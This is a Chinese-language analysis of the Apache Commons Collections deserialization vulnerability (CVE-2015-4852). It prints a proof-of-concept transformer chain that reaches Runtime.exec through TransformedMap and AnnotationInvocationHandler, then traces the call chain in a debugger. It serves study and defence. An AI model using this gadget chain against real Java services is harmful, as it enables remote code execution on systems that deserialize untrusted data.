Skip to content

Latest commit

 

History

History
285 lines (234 loc) · 11.3 KB

CVE-2015-4852.md

File metadata and controls

285 lines (234 loc) · 11.3 KB

Apache Commons Collections反序列化链漏洞分析 (CVE-2015-4852)

0x00 Introduction

反序列化链经典案例。

反序列化漏洞利用成功条件:

  1. 反序列化数据输入点
  2. 反序列化操作触发函数(类似PHP魔法函数)
  3. 漏洞利用执行函数序列

环境准备

  • idea
  • commons-collections-3.1.jar

Java commons-collections是JDK 1.2中的一个主要新增部分。它添加了许多强大的数据结构,可以加速大多数重要Java应用程序的开发。从那时起,它已经成为Java中公认的集合处理标准。

0x01 利用链分析(由里到外)

1.transform反射执行命令

这个漏洞核心是transformer结构。
Commons Collections实现了一个TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入。 org.apache.commons.collections.Transformer这个类可以满足固定的类型转化需求,其转化函数可以自定义实现,我们的漏洞利用效果函数就是在于这个点。
主要涉及PoC代码:

final Transformer[] transforms = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
        new InvokerTransformer("exec", new Class[] { String.class }, new String[]{"calc.exe"}), new ConstantTransformer(1)
};
Transformer transformerChain = new ChainedTransformer(transforms);

这些Transformer对象都离不开transform方法,ConstantTransformer类初始化传入this.iConstant参数直接return,相当于this的作用。

public class ConstantTransformer implements Transformer, Serializable {
    static final long serialVersionUID = 6374440726369055124L;
    public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);
    private final Object iConstant;


    public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }

    public Object transform(Object input) {
        return this.iConstant;
    }

}

InvokerTransformer类的transform则是反射,可以构造调用任意类方法。

public class InvokerTransformer implements Transformer, Serializable {
    static final long serialVersionUID = -8653385846894047688L;
    private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            ...
            }
        }
    }

那为啥PoC是一个数组那?在于ChainedTransformer可以把数组中transformer对象串起来,数组中的前元素作为下一个元素的对象,达成如下效果。 Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")).exec("calc.exe");

public class ChainedTransformer implements Transformer, Serializable {
    static final long serialVersionUID = 3514945074733160196L;
    private final Transformer[] iTransformers;

    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }
    ...
    //把数组中对象串起来,数组中的前元素作为下一个元素的对象
    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

2. 封装成Map

我们通过ChainedTransformer达到命令执行的效果,为了能被反序列操作触发,需要封装在Map中。通过我们得到的是ChainedTransformer的一个转换链,TransformedMap类提供将map和转换链绑定的构造函数。 但是为什么封装Map就会触发执行,在调试分析会详细说明。
对应PoC代码:

Map innermap = new HashMap();
innermap.put("value", "re111");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);

TransformedMap类decorate()方法,return一个Map对象。

public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
    ...
    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }
    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }
    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

反序列化操作触发函数 jdk1.7 AnnotationInvocationHandler

反序列化操作触发函数在jdk1.7中,这是为什么要求jdk1.7的环境原因。
对应PoC代码:

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);//通过setAccessible(true)的方式关闭安全检查
Object instance = ctor.newInstance(Retention.class, outmap);
return instance;

AnnotationInvocationHandler类的readObject()函数如下,其中传入的对象var5会调用setValue,该方法会触发TransformedMap对象的setValue方法,进而把链子打通,具体分析在下面调试分析中。
jdk 1.7

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private static final long serialVersionUID = 6182022883658399397L;
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;
    private transient volatile Method[] memberMethods = null;

    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            //对@Target这个注解的处理,getInstance会获取到@Target的基本信息
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }
        Map var3 = var2.memberTypes();
        //this.memberValues类初始化传的参数
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            //var5是TransformedMap对象继承了 AbstractInputCheckedMapDecorator
            Map.Entry var5 = (Map.Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

0x02 调试分析(由外到里)

在AnnotationInvocationHandler类中readObject()方法下断点调试。

调用链

ObjectInputStream.readObject()
	AnnotationInvocationHandler.readObject()
		MapEntry.setValue()
			TransformedMap.checkSetValue()
				ChainedTransformer.transform()
					ConstantTransformer.transform()
					InvokerTransformer.transform()
						Method.invoke()
							Class.getMethod()
					InvokerTransformer.transform()
						Method.invoke()
							Runtime.getRuntime()
					InvokerTransformer.transform()
						Method.invoke()
							Runtime.exec()

1. readObject走到setValue()

在jdk7中存在反序列化操作触发函数readObject,代码如下:

 private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Map.Entry var5 = (Map.Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

核心函数是Map对象var5触发setValue(),为了能走到这个分支需要:

  1. var7 != null
  2. !var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)

条件1和2,这就需要var7是个类,并且var8的类型不相同。
var7是通过var3获取到值,具体获取什么的key由var5(var4)的Map对象决定的,可以通过类初始化传入(可控)。
var8是通过可控var5(var4)的Map对象值决定的,条件2容易过可以不展开研究。
现在var3.get(var6)key我们可控,现在需要Map类型var3,它是由AnnotationType.getInstance(this.type)类型传入的也是类初始化传入(可控),AnnotationType对@Target这个注解的处理,getInstance会获取到@Target的基本信息,找一个有Target注解的类即可,PoC找的就是java.lang.annotation.Retention,到这条件1也达成了。

2. 走到transform()

TransformedMap类继承了AbstractInputCheckedMapDecorator存在setValue()方法,

public Object setValue(Object value) {
    value = this.parent.checkSetValue(value);
    return super.entry.setValue(value);
}

最后通过TransformedMap的checkSetValue()到了我们想要的transform()方法。

protected Object checkSetValue(Object value) {
    return this.valueTransformer.transform(value);
}

3. transform到RCE

和Payload分析的一致。

0x03 Ref

https://xz.aliyun.com/t/7031